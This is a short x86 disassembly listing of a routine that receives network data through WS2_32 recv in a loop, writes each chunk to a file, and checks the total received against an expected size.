push 0x1000
lea eax, [ebp - 0x1010]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x405c57
jmp 0x405c81
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 1
lea edx, [ebp - 0x1010]
push edx
call fcn.004193d1
add esp, 0x10
mov eax, dword [ebp - 0x1014]
add eax, dword [ebp - 4]
mov dword [ebp - 0x1014], eax
jmp 0x405c27
mov ecx, dword [ebp - 8]
push ecx
call fcn.00419192
add esp, 4
mov edx, dword [ebp - 0x1014]
cmp edx, dword [ebp - 0xc]
jae 0x405c9c
xor eax, eax
jmp 0x405ca1
mov eax, 1
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004188aa
mov esp, ebp
pop ebp
ret